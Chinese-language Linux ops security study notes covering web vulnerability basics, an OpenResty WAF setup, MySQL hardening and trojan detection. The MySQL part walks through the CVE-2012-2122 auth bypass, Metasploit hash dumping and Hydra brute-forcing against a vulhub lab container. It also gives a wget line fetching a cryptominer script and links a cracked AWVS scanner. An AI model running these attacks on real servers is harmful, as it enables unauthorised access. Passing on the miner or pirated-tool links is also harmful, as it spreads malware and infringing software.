1. Linux运维安全科普
1.1. 一些可能的问题
- 怎样屏蔽爬虫?
- 怎样防止注入攻击?
- 注入都有哪些手段?
- WEB 服务器安全配置都有哪些?
- 怎样保证 WEB 服务目录/文件的安全?
- 怎样防止文件被修改?
- 怎样第一时间发现文件被撰改?并提前拦截?
- 如果被挂马怎么除了?
- 被植入代码有哪些特点,怎样快速找到被植入的木马?
- 怎样监控恶意代码入住或修改?
- 什么是UDP流量攻击,怎样防止UDP流量攻击?
- 新安装MYSQL后怎样提升MYSQL的安全级别?
1.2. 常见漏洞
- 注入
- SQL注入
- SQL原理
- 前端
- XSS
- CSRF
- 上传漏洞
- Nginx
- Apache
- 信息泄露
- phpinfo
- 目录遍历
- 备份文件
- robots.txt
1.2.1. OWASP常见漏洞
OWASP(Open Web Application Security Project):一个Web安全项目
OWASP2018年的10个漏洞:http://www.owasp.org.cn/owasp-project/OWASPIoTProject2018.pdf
1.3. 常见问题
- 勒索
- 挖矿
1.4. 漏洞平台
EXPLOIT DATABASE:https://www.exploit-db.com/
2. 使用OpenResty实现WAF
WAF配置:https://github.com/unixhot/waf
sudo yum install -y readline-devel pcre-devel openssl-devel git wget vim openssl-devel gcc curl wget
# 直接yum
sudo yum install -y yum-utils
sudo yum-config-manager --add-repo https://openresty.org/package/centos/openresty.repo
sudo yum install -y openresty openresty-resty openresty-opm restydoc
# 编译安装
wget https://openresty.org/download/openresty-1.15.8.1.tar.gz
tar -xvf openresty-1.15.8.1.tar.gz
cd openresty-1.15.8.1
sudo ./configure --prefix=/usr/local/openresty --with-luajit --with-http_stub_status_module --with-pcre --with-pcre-jit
sudo gmake
sudo gmake install
# 下载WAF并配置
git clone https://github.com/unixhot/waf.git
sudo cp -a ./waf/waf /usr/local/openresty/nginx/conf/
sudo chown root:root -R /usr/local/openresty/nginx/conf/waf
sudo vim /usr/local/openresty/nginx/conf/nginx.conf
# 再http中加上如下
http{
lua_shared_dict limit 50m;
lua_package_path "/usr/local/openresty/nginx/conf/waf/?.lua";
init_by_lua_file "/usr/local/openresty/nginx/conf/waf/init.lua";
access_by_lua_file "/usr/local/openresty/nginx/conf/waf/access.lua";
sudo vim /etc/profile
# 加上
export PATH=/usr/local/openresty/bin:$PATH
# 复制一个启动脚本
https://www.nginx.com/resources/wiki/start/topics/examples/redhatnginxinit
# 主要就是waf中的config.lua和具体的规则
# 测试.比如,创建一个a.sql
curl http://192.168.137.30/a.sql
# 会跳转到防火墙页面
- 由于openresty本来就是nginx,所以,如果站点服务器就是基于nginx的.可以使用以上方法.
- 或者手动编译:https://github.com/openresty/lua-nginx-module#installation
3. MySQL常见问题和处理
CVE-2012-2122:https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
原理:大概就是MysQL的一个验证函数可能返回一个错误的值,导致错误密码也可以登录
3.1. MySQL身份认证漏洞和提取密码
sudo yum install -y docker docker-compose
sudo vi /etc/docker/daemon.json
# 内容如下
{
"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"]
}
sudo systemctl daemon-reload
sudo systemctl restart docker
sudo vim docker-compose.yml
# 内容如下
version: '2'
services:
mysql:
image: vulhub/mysql:5.5.23
ports:
- "3306:3306"
sudo systemctl start docker
sudo docker-compose up -d
sudo docker inspect 容器ID | grep IPAddress
# 获取ip
# 默认的mysql密码是123456
mysql -uroot -p123456 -h 172.18.0.2
# 测试使用正确的密码登录
# 使用for循环破解
for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
# 使用msf
# 安装msf,这里就直接在一台机器上做了
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall
sudo ./msfinstall
sudo msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
# 加载模块
show options
# 可以看看具体的选项
set RHOSTS 172.18.0.2
exploit
# 或者run也行
# 会输出密码的hash值
# Hydra爆破密码
wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip
sudo yum install -y gcc libssh-devel openssl-devel unzip zip
unzip master.zip
cd thc-hydra-master/
sudo ./configure
sudo make && sudo make install
# 下载一个password.txt开始爆破
sudo hydra -l root -P password.txt mysql://172.18.0.2 -vV
3.2. 采集MySQL版本信息
sudo yum install -y https://nmap.org/dist/nmap-7.70-1.x86_64.rpm
sudo nmap -sV -Pn --open -p3306 172.18.0.2
# -sV:显示版本信息
# -Pn:跳过查找host
# --open:显示开放的端口
# -p:端口
telnet 172.18.0.2 3306
# 也是可以显示MySQL的版本信息
sudo msfconsole
use auxiliary/scanner/mysql/mysql_version
# 也是一样
3.3. MySQL注入
注意几个方法
- '
- load_file()
- … into outfile ‘文件’
- … into dumpfile ‘文件’
- 直接写一句话木马
- concat(user,password)
- 使用SQLMAP来帮助查找注入
- google:mysql常用注入函数
3.4. MySQL常用安全加固
- 检查是否避免运维账号共享
- 检查是否使用默认端口
- 检查是否设置禁止MySQL对本地文件存取
revoke file on *.* from 'user3'@'127.0.0.1';
- 检查test库是否已被删除.
SHOW DATABASES LIKE 'test';
DROP DATABASE "test";
- 检查默认管理员账号是否已更名
update user set user="newUserName" where user="root";
- 设置MySQL守护进程专用最小特权帐户
ps -ef|egrep "^mysql.*$"
- 禁用MySQL命令历史记录,将MYSQL_HISTFILE环境变量设置为/dev/null,
- 修改.bash_profile
export MYSQL_HISTFILE=/dev/null
ln -s /dev/null $HOME/.mysql_history
- 修改.bash_profile
- 备份策略
- 确保仅管理员具有完全数据库访问权限,网站配置不允许使用root权限
- 错误:
grant all on *.* to user1 identified by '123456';
- 指定数据库:
grant all on db1.* to 'user2'@'ip' identified by '123456';
- 错误:
4. 木马查杀
4.1. 常见木马
- 挖矿
wget --no-check-certificate https://www.yiluzhuanqian.com/soft/script/mservice_19.3.1.sh -O mservice.sh
- DDOS木马
- 远程控制
4.2. Linux中毒可能的现象
- 服务器带宽异常
- 系统产生多余不明用户
- 开机启动不明服务和crontab任务中一些来历不明的任务
- 服务器CPU 100% 特别卡
- 远程连接不上
4.3. 检查木马思路
- 检查系统日志
- last
- /var/log/messages
- history
- 检查系统用户
- 检查异常进程
- 检查异常系统文件
- stings 异常文件 > a.log
- vim :%!xxd 进行16进制查看
- 检查网络
- 异常的监听
- 一场的IP
- 检查系统计划任务
- crontab
- /etc/crontab
- 检查启动脚本
- /etc/init.d
- 检查系统后门
- 检查系统服务
- 检查RootKit
- 检查木马相关地址
- 上传木马给安全相关网站
5. AWVS安全工具
AWVS是一个自动化的web应用程序安全测试工具,他可以扫描任何可通过web浏览器访问的和遵循HTTP/HTTPS规则的web站点和web应用程序.AWVS可以通过SQL注入攻击漏洞,跨站脚本漏洞等来审核web应用程序的安全性.他可以扫描任何可通过web浏览器访问的和遵循HTTP/HTTPS的web站点和web应用程序.
5.1. 安装和使用
- AWVS10破解版:https://pan.baidu.com/s/1d73BuoEV2Ei0WUR6Rz3lBA 提取码: yrfx
- AWVS12
- 64位操作系统才行
- 变成了网页版
新建扫描,选择需要的操作,扫描即可